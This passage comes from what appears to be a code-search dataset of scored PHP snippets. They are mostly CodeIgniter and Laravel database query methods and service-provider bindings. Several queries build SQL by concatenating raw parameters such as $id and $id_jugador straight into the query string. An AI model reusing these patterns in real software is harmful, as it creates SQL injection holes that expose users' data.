$this->sismodel->get_jointbrecord('hod_list',$selectfield,'employee_master',$joincond,'LEFT',$whdata);\n\t\t$emphodid = array();\n\t\tforeach($emphodempid as $row){\n $emphodid[]=$row->emp_id;\n }\n return $emphodid;\n\t}", "title": "" }, { "docid": "2b437d330083afb0c589a3a203734ac1", "score": "0.518829", "text": "public function getAllStudentsOrientador($perfil_id){\n $id= $this->getUserId($perfil_id);\n $get = new AccessDB(\"SELECT id,utilizador_id FROM projeto WHERE orientador_id=\".$id);//.\" OR coorientador_id=\".$id\n $response=$get->procurar();\n return $response;\n}", "title": "" }, { "docid": "78b028de042101da8aa6170d00b836d4", "score": "0.5184893", "text": "public function datosJugador($id_jugador){\n $sql = \"SELECT u.user,u.mail,j.nombre,j.edad,j.id FROM jugador j\n\tINNER JOIN usuario u ON (j.id_usuario = u.id)\n \tWHERE j.id = '$id_jugador'\";\n $result = $this->db->conn->query($sql);\n if(!$result===FALSE){\n $result = $result->fetchAll();\n }\n return $result;\n}", "title": "" }, { "docid": "9de782f49a530df6419fdc5c9d25791d", "score": "0.5184384", "text": "public function tramitecer_asignar_inpeccion()\n {\n $empresa_tramite=Zona_inspeccion::select('et.et_id','_zona.zon_nombre','per_nombres','per_apellido_primero','per_apellido_segundo','ess.ess_avenida_calle','ess.ess_numero','et.et_id', 'et.tra_id', 'et.ess_id', 'et.et_numero_tramite', 'et.et_vigencia_pago', 'et.et_fecha_ini', 'et.et_estado_pago', 'et.et_estado_tramite', 'et.et_monto', 'et.et_tipo_tramite','ess.ess_id','ess.ess_razon_social', 'ess.ess_telefono', 'ess.ess_correo_electronico', 'ess.ess_tipo','empresa.emp_id','empresa.ess_id', 'empresa.emp_kardex', 'te.te_id', 'te.te_estado', 'te.te_fecha', 'etapa.eta_id', 'propietario.pro_id','propietario.pro_tipo','ess.ess_id as ess_propietario','ess.ess_id as ess_ci_nit')\n ->join('_zona','_zona.zon_id','=','zona_inspeccion.zon_id')\n ->join('funcionario','funcionario.fun_id','=','zona_inspeccion.fun_id')\n ->join('persona','persona.per_id','=','funcionario.per_id')\n ->join('establecimiento_solicitante as ess','ess.zon_id','=','_zona.zon_id')\n ->join('empresa_tramite as et','et.ess_id','=','ess.ess_id')\n ->join('empresa','empresa.ess_id','=','et.ess_id')\n ->join('empresa_propietario as ep','ep.emp_id','=','empresa.emp_id')\n ->join('propietario','propietario.pro_id','=','ep.pro_id')\n ->join('tramitecer_estado as te', 'te.et_id', '=', 'et.et_id')\n ->join('etapa', 'etapa.eta_id', '=', 'te.eta_id')\n ->where('te.eta_id', 1)\n ->where('te.te_estado', 'PROCEDE')\n ->orderBy('te.te_fecha')\n ->distinct()\n ->get();\n\n for ($i=0; $i < count($empresa_tramite); $i++) {\n if($empresa_tramite[$i]->pro_tipo==\"J\")\n {\n $pjuridica=PersonaJuridica::select('pjur_razon_social','pjur_nit')\n ->where('p_juridica.pro_id',$empresa_tramite[$i]->pro_id)\n ->first();\n $empresa_tramite[$i]->ess_propietario=$pjuridica->pjur_razon_social;\n $empresa_tramite[$i]->ess_ci_nit=$pjuridica->pjur_nit;\n }else{\n $pnatural=PersonaNatural::select('per_nombres','per_apellido_primero','per_apellido_segundo','per_ci')\n ->join('persona','persona.per_id','=','p_natural.per_id')\n ->where('p_natural.pro_id',$empresa_tramite[$i]->pro_id)\n ->first();\n $empresa_tramite[$i]->ess_propietario=$pnatural->per_nombres.' '.$pnatural->per_apellido_primero.' '.$pnatural->per_apellido_segundo;\n $empresa_tramite[$i]->ess_ci_nit=$pnatural->per_ci;\n }\n }\n\n \n if (!$empresa_tramite) {\n return response()->json(['errors'=>array(['code'=>404, 'message'=>'No se encuentran registros.'])],404);\n }\n return response()->json(['status'=>'ok',\"mensaje\"=>\"Lista estado\",'empresa_tramite'=>$empresa_tramite], 200);\n\n }", "title": "" }, { "docid": "5221e4079b39161b725bb337bc4da6b8", "score": "0.51799196", "text": "public function de_job_list(){\n\t\t$sql=\"\n\t\t\t\tselect \n\t\t\t\ta.id,\n\t\t\t\ta.customer,\n\t\t\t\ta.custome_no,\n\t\t\t\ta.prime_contact,\n\t\t\t\ta.drowing,\n\t\t\t\ta.offer,\n\t\t\t\ta.type,\n\t\t\t\ta.created_by,\n\t\t\t\ta.created_at,\n\t\t\t\tb.name as customer_name,\n\t\t\t\tb.cust_type,\n\t\t\t\te.name as cust_type_name,\n\t\t\t\tc.name as contact_name,\n\t\t\t\tc.department,\n\t\t\t\tc.designation,\n\t\t\t\tc.phone,\n\t\t\t\tc.email,\n\t\t\t\td.user_name,\n\t\t\t\t(select user_name from users where id=a.co_handler) as co_handler_name,\n\t\t\t\t(select user_name from users where id=a.ma_handler) as ma_handler_name,\n\t\t\t\t(select user_name from users where id=a.de_handler) as de_handler_name,\n\t\t\t\t(select x.name from designation x,users y where y.id=a.co_handler and x.id=y.designation) as co_desig,\n\t\t\t\t(select x.name from designation x,users y where y.id=a.ma_handler and x.id=y.designation) as ma_desig,\n\t\t\t\t(select x.name from designation x,users y where y.id=a.de_handler and x.id=y.designation) as de_desig,\n\t\t\t\t(select group_concat(product_id) from job_product where job_id=a.id) as products,\n\t\t\t\ta.de_ini_rev,\n\t\t\t\ta.de_job_position,\n\t\t\t\ta.de_approved_by_cus,\n\t\t\t\ta.offer_by,\n\t\t\t\ta.drawing_by,\n\t\t\t\ta.visit_site,\n\t\t\t\ta.de_remark\n\t\t\t\tfrom \n\t\t\t\tjob_master a,\n\t\t\t\tcustomers b,\n\t\t\t\tcontacts c,\n\t\t\t\tusers d,\n\t\t\t\tcustomer_type e\n\t\t\t\twhere a.deleted<>1 \n\t\t\t\tand a.job_status=0\n\t\t\t\tand a.de_handler<>0\n\t\t\t\tand b.id=a.customer \n\t\t\t\tand c.id=a.prime_contact\n\t\t\t\tand d.id=a.created_by\n\t\t\t\tand e.id=b.cust_type\n\t\t\t\";\n\t\t$result=$this->db->query($sql);\n\n\t\treturn $result->result();\n\t}", "title": "" }, { "docid": "4bf0d13c00aeb33d647135bc6a382437", "score": "0.5177245", "text": "public function fetchMorereports($jid,$uid)\n{\n\t$detail=$this->db->join(\"reportJob\",\"reportJob.uid = employer_info.employee_uid\")\n\t->where(\"reportJob.jid\", $jid)\n\t->where(\"reportJob.uid!=\", $uid)\n\t->group_by('reportJob.uid')\n\t->get(\"employer_info\");\n\t$data=array();\n\treturn $detail->result_array();\n\n}", "title": "" }, { "docid": "fb76cb62ca9bb872b7069b7a53e9c40c", "score": "0.517193", "text": "public function joinPerhitungan()\n\t{\n\t\t$db_kasus = $this->db\n\t\t\t->select('*')\n\t\t\t->join('penyakit', 'basis_kasus.fk_penyakit = penyakit.id_penyakit')\n\t\t\t->get('basis_kasus');\n\t\treturn $db_kasus->result();\n\t}", "title": "" }, { "docid": "4c8cd592486da9c2f0f4319338f6f2b5", "score": "0.5171416", "text": "function chemistryBsc1P3A(){\n $data=\"select * from student_record a inner join student_data b on a.id=b.student_id where batch=93\";\n $data= $this->db->query($data);\n return $data->result();\n }", "title": "" }, { "docid": "260597116e819da26dc6f04d632e480d", "score": "0.51713264", "text": "public function getControlMujerEmbarazada($id)\n{\n $result=$this->adapter->query(\"\nselect b.numHijo,b.fecha ,\ncase when b.sexo=1 then 'Hombre' else 'Mujer' end as sexo, b.fecProp\n from a_empleados a\n\ninner join a_empleados_me b on b.idEmp = a.id\nwhere b.idEmp= \".$id,Adapter::QUERY_MODE_EXECUTE);\n $datos=$result->toArray();\n return $datos;\n \n}", "title": "" }, { "docid": "e37317ee40aca77020bd4f203cd40bc2", "score": "0.5169088", "text": "public function getConyugesEmpEmbarazada($id)\n {\n $result=$this->adapter->query(\"\n select b.numHijo,b.fecha ,\ncase when b.sexo=1 then 'Hombre' else 'Mujer' end as sexo, b.fecProp, c.nombres, c.apellidos\n from a_empleados a\n\ninner join a_empleados_mc b on b.idEmp = a.id\ninner join a_empleados_f c on c.id = b.idEmpCnyu \n where b.idEmp =\".$id,Adapter::QUERY_MODE_EXECUTE);\n $datos=$result->toArray();\n return $datos;\n \n }", "title": "" }, { "docid": "b2a7b314f8cde780fb77c7976b89bd97", "score": "0.5163119", "text": "function ReadAllby($franquicia){\n\n $pdo = MIDAS_DataBase::Connect();\n $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\n\n $sql = \"SELECT * FROM ges_sedes INNER JOIN ges_ciudades ON ciu_codigo = sed_ciudad WHERE ges_empresa_emp_codigo = ?\";\n\n $query = $pdo->prepare($sql);\n $query->execute(array($franquicia));\n\n $results = $query->fetchALL(PDO::FETCH_BOTH);\n\n MIDAS_DataBase::Disconnect();\n return $results;\n }", "title": "" } ]
ee1530ddf2c93f8e5d4f4f925031ee60
Register bindings in the container.
[ { "docid": "2d48d5ace59e7c48f7be5d2bc8172667", "score": "0.0", "text": "public function register()\n {\n $this->app->singleton('soda.dashboard', function ($app) {\n $dashboardBuilder = new DashboardBuilder;\n\n $dashboardBuilder->addBlockToRow(1, 'default', function () {\n return soda_cms_view('partials.dashboard.default-block');\n });\n\n $dashboardBuilder->addBlockToRow(1, 'quicklinks', function () {\n return soda_cms_view('partials.dashboard.quicklinks');\n });\n\n return $dashboardBuilder;\n });\n }", "title": "" } ]
[ { "docid": "781153814bdd4f135b2391091a67769b", "score": "0.81314135", "text": "public function register()\n {\n foreach ($this->simpleBindings as $contract => $service) {\n $this->app->bind($contract, $service);\n }\n }", "title": "" }, { "docid": "8c4f6f72bcc1ecd6f91b652e55837699", "score": "0.7456646", "text": "public function register()\n {\n foreach ($this->services as $interface => $service) {\n App::bind($interface, $service);\n }\n }", "title": "" }, { "docid": "8c4f6f72bcc1ecd6f91b652e55837699", "score": "0.7456646", "text": "public function register()\n {\n foreach ($this->services as $interface => $service) {\n App::bind($interface, $service);\n }\n }", "title": "" }, { "docid": "e027c7907f9e89e62d02742305c81fc7", "score": "0.74514663", "text": "public function register()\n {\n $this->registerBindings();\n }", "title": "" }, { "docid": "e027c7907f9e89e62d02742305c81fc7", "score": "0.74514663", "text": "public function register()\n {\n $this->registerBindings();\n }", "title": "" }, { "docid": "e027c7907f9e89e62d02742305c81fc7", "score": "0.74514663", "text": "public function register()\n {\n $this->registerBindings();\n }", "title": "" }, { "docid": "e027c7907f9e89e62d02742305c81fc7", "score": "0.74514663", "text": "public function register()\n {\n $this->registerBindings();\n }", "title": "" }, { "docid": "e027c7907f9e89e62d02742305c81fc7", "score": "0.74514663", "text": "public function register()\n {\n $this->registerBindings();\n }", "title": "" }, { "docid": "72369068b96179517fe4979fd17a0b2c", "score": "0.73702395", "text": "public function register()\n {\n foreach ($this->repositories as $repository => $contract) {\n $this->app->bind('App\\Repositories\\\\'.$repository, 'App\\Repositories\\Contracts\\\\'.$contract);\n }\n }", "title": "" }, { "docid": "a8404b5dddd3976d9e85312bc2a0c990", "score": "0.735905", "text": "public function register()\n {\n \n $this->registerBindings();\n }", "title": "" }, { "docid": "03f695cd46392ccd7e71e848c21dd119", "score": "0.7301638", "text": "public function register()\n {\n $this->bindContainers();\n\n\n }", "title": "" }, { "docid": "7e27ff73f675ce8aba0cdd2c567b32e6", "score": "0.7238626", "text": "public function register()\n\t{\n\t\tif( ! self::isModule() ) {\n\t\t\t$contracts = Service::contracts([\n\t\t\t\t// THESE ARE APPLICATION CONTRACTS.\n\n\t\t\t]);\n\t\t\tforeach( $contracts as $blueprint => $contract ) {\n\t\t\t\t$this->app->bind( $blueprint, $contract );\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "7fd71189c55f58205675df81d2b7efbc", "score": "0.7189685", "text": "public function register()\n {\n parent::register();\n\n $this->app->bind('fetcher', function () {\n return new Fetcher();\n });\n\n $this->app->bind('publisher', function () {\n return new Publisher();\n });\n }", "title": "" }, { "docid": "e360a1b7c7c87c1e4abc3afb33b23284", "score": "0.71562195", "text": "protected function registerConfigBindings()\n {\n $this->singleton('config', function () {\n return new ConfigRepository;\n });\n }", "title": "" }, { "docid": "fdd3d62530a74c834039a448d3ef96a7", "score": "0.7152946", "text": "protected function registerBaseBindings()\n {\n static::setInstance($this);\n\n $this->instance('app', $this);\n\n $this->instance('Illuminate\\Container\\Container', $this);\n }", "title": "" }, { "docid": "c4fcf0dac478fdcf6c28b3d989e10105", "score": "0.713237", "text": "public function register()\n {\n $this->registerEventBindings();\n }", "title": "" }, { "docid": "b4bd78981d6517bf2111bbb4c571e882", "score": "0.7130823", "text": "protected function registerBaseBindings()\n {\n static::setInstance($this);\n\n $this->instance('app', $this);\n\n $this->instance(Container::class, $this);\n\n $this->instance(PackageManifest::class, new PackageManifest(\n new Filesystem(), $this->basePath(), $this->getCachedPackagesPath()\n ));\n }", "title": "" }, { "docid": "b9d8005008904fac788b92179126833d", "score": "0.7106382", "text": "public function registerBindings() {\n $this->app->bind(\n 'App\\Repositories\\Backend\\Advertisingpartner\\AdvertisingpartnerContract',\n 'App\\Repositories\\Backend\\Advertisingpartner\\EloquentAdvertisingpartnerRepository'\n );\n $this->app->bind(\n 'App\\Repositories\\Frontend\\Advertisingpartner\\AdvertisingpartnerContract',\n 'App\\Repositories\\Frontend\\Advertisingpartner\\EloquentAdvertisingpartnerRepository'\n );\n }", "title": "" }, { "docid": "f4a1d83eacdd5601597376d5bb5d6231", "score": "0.7067544", "text": "protected function registerBaseBindings()\n {\n static::setInstance($this);\n\n $this->instance('app', $this);\n\n $this->instance(Container::class, $this);\n $this->singleton(Mix::class);\n\n $this->singleton(BasePackageManifest::class, function () {\n return new PackageManifest(\n new Filesystem(),\n $this->basePath(),\n $this->getCachedPackagesPath()\n );\n });\n }", "title": "" }, { "docid": "c6096b197162e511eb881bc6242e2388", "score": "0.7060279", "text": "public function register(): void\n {\n $this->app->bind(\n CommandBus::class,\n AppCommandBus::class\n );\n\n $this->app->bind(\n Container::class,\n AppContainer::class\n );\n }", "title": "" }, { "docid": "0ac815ff8acb6524427578d2c482b71f", "score": "0.70128715", "text": "public function register()\n {\n $this->app->bind(Collection::class, function () {\n return Collection::class;\n });\n }", "title": "" }, { "docid": "6affce01fd96fa759de5ddccc3eb7f2c", "score": "0.7002848", "text": "public function register()\n {\n foreach ($this->provides() as $provider) {\n $segments = explode('.', $provider);\n array_shift($segments);\n\n $class = '\\\\Coyote\\\\Services\\\\Notification\\\\Providers\\\\' . implode('\\\\', array_map('ucwords', $segments));\n\n $this->app->bind($provider, function ($app) use ($class) {\n return new $class(\n $app[NotificationRepositoryInterface::class]\n );\n });\n }\n }", "title": "" }, { "docid": "b1305532a3c0e9cd396c15a4620f805e", "score": "0.6986639", "text": "public function register()\n {\n app()->bind(Runner::class, function() {\n return new RunService();\n });\n\n app()->bind(DatabaseManager::class, function() {\n return new MySqlManager();\n });\n }", "title": "" }, { "docid": "d65100d16be407b7a15b076ad65d9a18", "score": "0.6979202", "text": "public function register()\n {\n foreach ($this->repositories as $interface => $class) {\n $this->app->singleton($interface, $class);\n }\n }", "title": "" }, { "docid": "b12d57890fe7dbc6ea6861ff2528a073", "score": "0.6963718", "text": "protected function registerServices()\n {\n $this->app->register(GravatarServiceProvider::class);\n\n foreach ($this->bindings as $key => $value) {\n is_numeric($key) ? $this->app->singleton($value) : $this->app->singleton($key, $value);\n }\n }", "title": "" }, { "docid": "e7849bb33c0ea0fda6ba85f0001ae257", "score": "0.6937354", "text": "public function register()\n {\n $this->app->bind(\\App\\Http\\Core\\Util\\ICrawler::class, \\App\\Http\\Core\\Util\\CrawlerLazada::class);\n //:end-bindings:\n }", "title": "" }, { "docid": "259a3ae1eb1c880903b1632f8fa1ddf5", "score": "0.68894255", "text": "public function register()\n {\n $this->app->bind(OrderInterface::class, Order::class);\n $this->app->bind(OrderItemInterface::class, OrderItem::class);\n $this->app->bind(OrderRepositoryInterface::class, OrderRepository::class);\n }", "title": "" }, { "docid": "105f00b37b82743864e52401895d8d4d", "score": "0.6861541", "text": "public function register()\n {\n $this->mergeConfig();\n $this->app->bind('phumbor',function(){\n return new BuilderFactory(Config::get('phumbor.server'), Config::get('phumbor.key'));\n });\n }", "title": "" }, { "docid": "c0b73c3621d80e33bb461557b92af6c8", "score": "0.68547213", "text": "public function register(): void\n {\n $this->app->bind(DataStoreContract::class, DataStore::class);\n }", "title": "" }, { "docid": "d6e6db3c88745b4d6d2adc9c9a29a681", "score": "0.6842676", "text": "public function register()\n {\n $this->app->bind(Cache::class, LTI13Cache::class);\n $this->app->bind(Cookie::class, LTI13Cookie::class);\n $this->app->bind(Database::class, LTI13Database::class);\n $this->app->bind(LtiServiceConnector::class, function () {\n return new LtiServiceConnector(app(ICache::class), new Client([\n 'timeout' => 30,\n ]));\n });\n\n }", "title": "" }, { "docid": "f6c1cf4ca7adf8ce40fd791a0a8725ba", "score": "0.68350035", "text": "public function register()\n {\n $this->app->bind(Container::class, LaravelContainer::class);\n $this->app->bind(Inflector::class, NameInflector::class);\n }", "title": "" }, { "docid": "6fbaa7ed66531ce2b2b88c4d1c0a6418", "score": "0.6816382", "text": "public function register()\n {\n $this->app->bind(StorageManagerInterface::class, StorageManager::class);\n }", "title": "" }, { "docid": "b782c3322adf2e47fb7d36a439f1a464", "score": "0.680045", "text": "public function register() {\n\n // Collection of providers supported by the API\n $providers = collect([\n new Flickr(),\n new Pixabay()\n ]);\n\n $this->app->bind('App\\Services\\ImageAggregator', function($app) use ($providers ){\n return new ImageAggregator($providers);\n });\n }", "title": "" }, { "docid": "3dda3c58dc0aa278dc591ed219061998", "score": "0.6796097", "text": "public function register()\n {\n\n $this->app->bind('functional', function () {\n return $this->app->make(FunctionalProxy::class);\n });\n \n }", "title": "" }, { "docid": "01a0a4a3269fc7a8422340c77f6206ee", "score": "0.6783167", "text": "public function register()\n {\n //\n $this->app->bind(RegisterInterface::class, RegisterRepo::class);\n $this->app->bind(LoginInterface::class, LoginRepo::class);\n }", "title": "" }, { "docid": "e6d71f1a833e0d1e9cf003b21a093243", "score": "0.67824584", "text": "public function register()\n {\n // registramos los servicios\n foreach ($this->services as $key => $value) {\n $this->app->bindIf($key, $value);\n }\n\n // registramos las implementaciones de los contratos de paquete\n foreach ($this->interfacesImplementations as $interface => $implementation) {\n $this->app->bind($interface, $implementation);\n }\n\n // registramos los service providers\n foreach ($this->providers as $key => $value) {\n $this->app->register($value);\n }\n\n // registramos los alias\n $loader = AliasLoader::getInstance();\n foreach ($this->aliases as $key => $alias) {\n $loader->alias($key, $alias);\n }\n\n // registramos los middleware\n foreach ($this->middleware as $key => $value) {\n $this->app['router']->middleware($key, $value);\n }\n }", "title": "" }, { "docid": "fe516290901d9c6352313023e5487f85", "score": "0.6779459", "text": "public function register()\n {\n $repos = array(\n 'Todo',\n 'User',\n 'Course',\n 'Subject',\n 'CourseLevel',\n 'Teacher',\n 'TeacherCourseRegistration',\n 'RegistrationStatus',\n 'TeacherLevel',\n 'Image',\n 'Post',\n 'Enquiry',\n 'ParentRegister'\n );\n foreach ($repos as $re) {\n $this->app->bind(\n \"App\\Repositories\\\\{$re}\\\\{$re}RepositoryInterface\",\n \"App\\Repositories\\\\{$re}\\\\{$re}Repository\");\n }\n }", "title": "" }, { "docid": "f9e2e2fc3660ee9b932768be4b5ada32", "score": "0.67632025", "text": "public function register(): void\n {\n $this->app->bind(History::class, EventHistory::class);\n\n $this->app->bind('Streamer', function () {\n return $this->app->make(Streamer::class);\n });\n\n $this->offerPublishing();\n $this->configure();\n $this->registerCommands();\n\n ListenersStack::boot(config('streamer.listen_and_fire', []));\n }", "title": "" }, { "docid": "1b51875b92eefa61a2e4e3ce26eeea00", "score": "0.6757586", "text": "public function register()\n {\n // Bind fields manager implementations\n $this->app->bind(FieldsManagerContract::class, FieldsManager::class, true);\n }", "title": "" }, { "docid": "5daa26e9072ae8262b977d0f400f756b", "score": "0.6743673", "text": "public function register()\r\n {\r\n // binding interface to implementation\r\n $this->app->bind(CartStorageInterface::class, function($app){\r\n return $this->checkMultipleConnections($app);\r\n });\r\n\r\n //facade static binding\r\n $this->app->singleton('cart',function($app){\r\n return $this->checkMultipleConnections($app);\r\n });\r\n \r\n // binding CartDefaultSessionStorage instance\r\n $this->app->instance(CartDefaultSessionStorage::class,function($app){\r\n return new CartDefaultSessionStorage($app['events'],$app['session']);\r\n });\r\n\r\n // binding CartDefaultDatabaseStorage instance\r\n $this->app->instance(CartDefaultDatabaseStorage::class,function($app){\r\n return new CartDefaultDatabaseStorage($app['events']);\r\n });\r\n\r\n //binding cart object for event handling\r\n $this->app->instance(ShoppingCart::class, function(){\r\n return new ShoppingCart();\r\n });\r\n }", "title": "" }, { "docid": "a51b55ffc7dbcd36a4332aa18b056c9f", "score": "0.6737484", "text": "public function register()\n {\n $this->app->bind(WebhooksInterface::class, Webhooks::class);\n $this->app->bind(EventClassHandlerInterface::class, EventClassHandler::class);\n $this->app->bind(WebhookClassHandlerInterface::class, WebhookClassHandler::class);\n }", "title": "" }, { "docid": "82a0eb706252392047c9503897e82e86", "score": "0.67333984", "text": "public function register()\n {\n $this->bindChallonge();\n }", "title": "" }, { "docid": "4002907cace0dcae19a9ae1dd8371cf8", "score": "0.6728616", "text": "public function register()\n {\n $this->bindRepositories();\n }", "title": "" }, { "docid": "67be51d1d872fb4a222854a8543cde9f", "score": "0.67090166", "text": "public function register()\n\t{\n // This maps the abstract interface to a concrete class\n // First param is abstract. Second param is concrete.\n $this->app->bind(\n 'Larablocks\\EmailSMS\\EmailSMSInterface',\n 'Larablocks\\EmailSMS\\EmailSMSHandler'\n );\n\n // Bind the EmailSMS Interface to the facade\n // This maps the ioc container variable to the interface.\n // The above binding then maps the variable to the concrete class\n $this->app->bind(\n 'emailsms',\n 'Larablocks\\EmailSMS\\EmailSMSInterface'\n );\n\n\t}", "title": "" }, { "docid": "be2076c1e85643bec8502c543eaa2dd0", "score": "0.670738", "text": "public function register()\n {\n $this->app->bind(\\SON\\Repositories\\CategoryRepository::class, \\SON\\Repositories\\CategoryRepositoryEloquent::class);\n $this->app->bind(\\SON\\Repositories\\BillPayRepository::class, \\SON\\Repositories\\BillPayRepositoryEloquent::class);\n $this->app->bind(\\SON\\Repositories\\UserRepository::class, \\SON\\Repositories\\UserRepositoryEloquent::class);\n //:end-bindings:\n }", "title": "" }, { "docid": "b1e715b2edddb8d0628626a5785b23d6", "score": "0.6704251", "text": "protected function registerBaseBindings()\n {\n static::setInstance($this);\n\n $this->instance('app', $this);\n }", "title": "" }, { "docid": "4501d8a99e7e544172f9b774cd0bbc87", "score": "0.6698657", "text": "public function register(): void\n {\n $this->app->bind(IOrderRepo::class, OrderRepo::class);\n }", "title": "" }, { "docid": "6439ca6fc266c6481688ae6c04fca52a", "score": "0.66971713", "text": "public function register()\n {\n $this->registerManager();\n $this->setupBindings();\n }", "title": "" }, { "docid": "e5c5d51fe4976b094f7a557105793841", "score": "0.6687801", "text": "public function register()\n {\n $this->app->bind(\n UserInterface::class,\n UserRepository::class\n );\n $this->app->bind(\n ClientInterface::class,\n ClientRepository::class\n );\n $this->app->bind(\n PhoneInterface::class,\n PhoneRepository::class\n );\n }", "title": "" }, { "docid": "18ac53b1988e33c523d7bde0a1d806e6", "score": "0.6686365", "text": "public function register()\n {\n //PAGINATOR SERVICE INITIALIZATION\n $this->app->bind(Paginator::class, function ($app) {\n return new Paginator($app->config['paginator.max_per_page'],$app->config['paginator.use_paginator']);\n });\n\n\n //LOGGER MICROSERVICE ADAPTER INITIALIZATION\n $this->app->bind(LoggerService::class, function ($app) {\n\n $arrLogger=$this->getAMQPConnection($app);\n $arrLogger[\"type\"]=$app->config['logging.type']??\"\";\n return new LoggerService($arrLogger);\n });\n\n\n //SMS MICROSERVICE ADAPTER INITIALIZATION\n $this->app->bind(SMSService::class, function ($app) {\n\n $arrSmsCredentials=$this->getAMQPConnection($app);\n $arrSmsCredentials[\"provider\"]=$app->config['sms.provider']??\"\";\n return new SMSService($arrSmsCredentials);\n });\n\n if ($this->app->isLocal()) {\n $this->app->register(TelescopeServiceProvider::class);\n }\n }", "title": "" }, { "docid": "ca7b6cc002f713de7623c67c32dbf067", "score": "0.6685564", "text": "public function register()\n {\n $this->app->bind(ProviderInterface::class, AppleService::class);\n $this->app->bind(ProviderInterface::class, GoogleService::class);\n }", "title": "" }, { "docid": "65a1e863edf5c811ec2ede1b149cef18", "score": "0.6683784", "text": "protected function registerConfigBindings(Container $container)\n {\n $container->singleton('config', function () {\n return new ConfigRepository;\n });\n }", "title": "" }, { "docid": "c2ffedf1975a55f1bd50f4a22ad79141", "score": "0.6683537", "text": "public function register()\n {\n $this->app->bind(VoteRepositoryInterface::class, VoteRepository::class);\n }", "title": "" }, { "docid": "40e7ffc75653e79aaccae4b3713745f7", "score": "0.66810465", "text": "public function register()\n {\n $this->registerResponseBindings();\n }", "title": "" }, { "docid": "5ecdce3fb2e3675f1c03b832a267347e", "score": "0.6673525", "text": "protected function registerEventBindings()\n {\n if (! $this->app['files']->exists(storage_path('framework/events.php'))) {\n return;\n }\n\n $events = $this->app['events'];\n\n $listen = $this->app['files']->getRequire(storage_path('framework/events.php'));\n\n foreach ($listen as $event => $listeners) {\n foreach ($listeners as $listener) {\n $events->listen($event, $listener);\n }\n }\n }", "title": "" }, { "docid": "abdd80daf18a0eba0748db0fb5821b90", "score": "0.66732544", "text": "public function register() {\n\t\t$this->app->resolving ( 'db', function ($db) {\n\t\t\t$db->extend ( 'mongodb', function ($config) {\n\t\t\t\treturn new Connection ( $config );\n\t\t\t} );\n\t\t} );\n\t}", "title": "" }, { "docid": "481e1de76ce2203e6a42555c4c0d8b68", "score": "0.66653603", "text": "public function register()\n {\n foreach ($this->params['connections'] as $key => $val) {\n \n $key = $this->getConnectionKey($key);\n\n $this->container->share(\n $key,\n function () use ($val) {\n return $this->createConnection($val['server'], $val);\n }\n );\n }\n }", "title": "" }, { "docid": "c55bc7f61f4a6ee3f51b0946bc263d55", "score": "0.6662184", "text": "public function register()\n {\n\n // implementation bindings:\n //-------------------------\n $this->app->bind(\n CdnInterface::class,\n Cdn::class\n );\n\n $this->app->bind(\n ProviderInterface::class,\n AwsS3Provider::class\n );\n\n $this->app->bind(\n AssetInterface::class,\n Asset::class\n );\n\n $this->app->bind(\n FinderInterface::class,\n Finder::class\n );\n\n $this->app->bind(\n ProviderFactoryInterface::class,\n ProviderFactory::class\n );\n\n $this->app->bind(\n CdnFacadeInterface::class,\n CdnFacade::class\n );\n\n $this->app->bind(\n CdnHelperInterface::class,\n CdnHelper::class\n );\n\n $this->app->bind(\n ProviderValidatorInterface::class,\n ProviderValidator::class\n );\n\n $this->app->bind(\n CdnFacadeValidatorInterface::class,\n CdnFacadeValidator::class\n );\n\n $this->app->bind(\n ValidatorInterface::class,\n Validator::class\n );\n\n // register the commands:\n //-----------------------\n $this->app->singleton('cdn.push', function ($app) {\n return $app->make(PushCommand::class);\n });\n\n $this->commands('cdn.push');\n\n // facade bindings:\n //-----------------\n\n // Register 'CdnFacade' instance container to our CdnFacade object\n $this->app->singleton('CDN', static function ($app) {\n return $app->make(CdnFacade::class);\n });\n }", "title": "" }, { "docid": "9d7259cfc36ced582b41d5b3b679f599", "score": "0.66595095", "text": "public function register()\n {\n App::bind(SsoTicketInterface::class, SsoTicketRepository::class);\n App::bind(SpatiePermissionInterface::class, SpatiePermissionRepository::class);\n App::bind(SpatieRoleInterface::class, SpatieRoleRepository::class);\n }", "title": "" }, { "docid": "0860ee11f12da608dcc3affa367a819e", "score": "0.6654629", "text": "public function register()\n {\n $modules = array('Flat', 'Tenant', 'Contract', 'Residence', 'Document', 'Block', 'View');\n\n foreach ($modules as $module) {\n\n $this->app->bind(\n 'App\\Repositories\\\\' . $module . 'RepositoryInterface',\n 'App\\Repositories\\\\' . $module . 'Repository'\n );\n\n }\n }", "title": "" }, { "docid": "52877a796d7dce2f3e9fa97f1bd67303", "score": "0.66539556", "text": "public function register()\n {\n $this->app->bind(\n CurrencyServiceInterface::class,\n CurrencyService::class\n );\n }", "title": "" }, { "docid": "d9d5a474a81e1cb01d958dbc4062d726", "score": "0.6642922", "text": "public function register()\n {\n $this->app->bind(EloquentRepositoryInterface::class, BaseRepository::class);\n $this->app->bind(UrlRepositoryInterface::class, UrlRepository::class);\n }", "title": "" }, { "docid": "3d0cca34bc3416f91f7046e917b819d7", "score": "0.6640153", "text": "public function register()\n {\n\n //singleton指单列\n //bind每次都需要New一次\n $this->app->bind('md5',function(){\n return new Md5();\n });\n }", "title": "" }, { "docid": "0997dafbd1c2951ce63e6c30b4bbfd0a", "score": "0.6637747", "text": "public function register()\n {\n $this->app->bind('datadog', DataDog::class);\n $this->app->bind('datadogclient', DataDogClient::class);\n }", "title": "" }, { "docid": "63b0feda3626c8b7cad40c038b7736e0", "score": "0.6637356", "text": "public function register()\n {\n $this->app->bind(IMediator::class, ConcreteMediator::class);\n }", "title": "" }, { "docid": "db429d7b19a4128d47a46402a93b0220", "score": "0.6632174", "text": "public function register()\n {\n $this->app->bind(EmployeesInterface::class, EmployeesService::class);\n }", "title": "" }, { "docid": "c075d5a0972fcb708db09038f474a1e7", "score": "0.6628772", "text": "public function register()\n {\n $this->app->bind(MessageParserInterface::class, function () {\n return new MessageParserService();\n });\n $this->app->bind(MessageSerializerInterface::class, function () {\n return new MessageSerializerService();\n });\n $this->app->bind(LockInterface::class, function () {\n return new LockService();\n });\n\n $xmpMessageStore = new XmlMessageStore(\n new MessageParserService(),\n new MessageSerializerService()\n );\n\n $this->app->bind(XmlStoreInterface::class, function () use ($xmpMessageStore) {\n return $xmpMessageStore;\n });\n\n $this->app->singleton(MessageRepositoryInterface::class, function () use ($xmpMessageStore) {\n return new XmlMessageRepository($xmpMessageStore);\n });\n }", "title": "" }, { "docid": "5f11525a5cc8521161eea4d9aecb0e10", "score": "0.66262543", 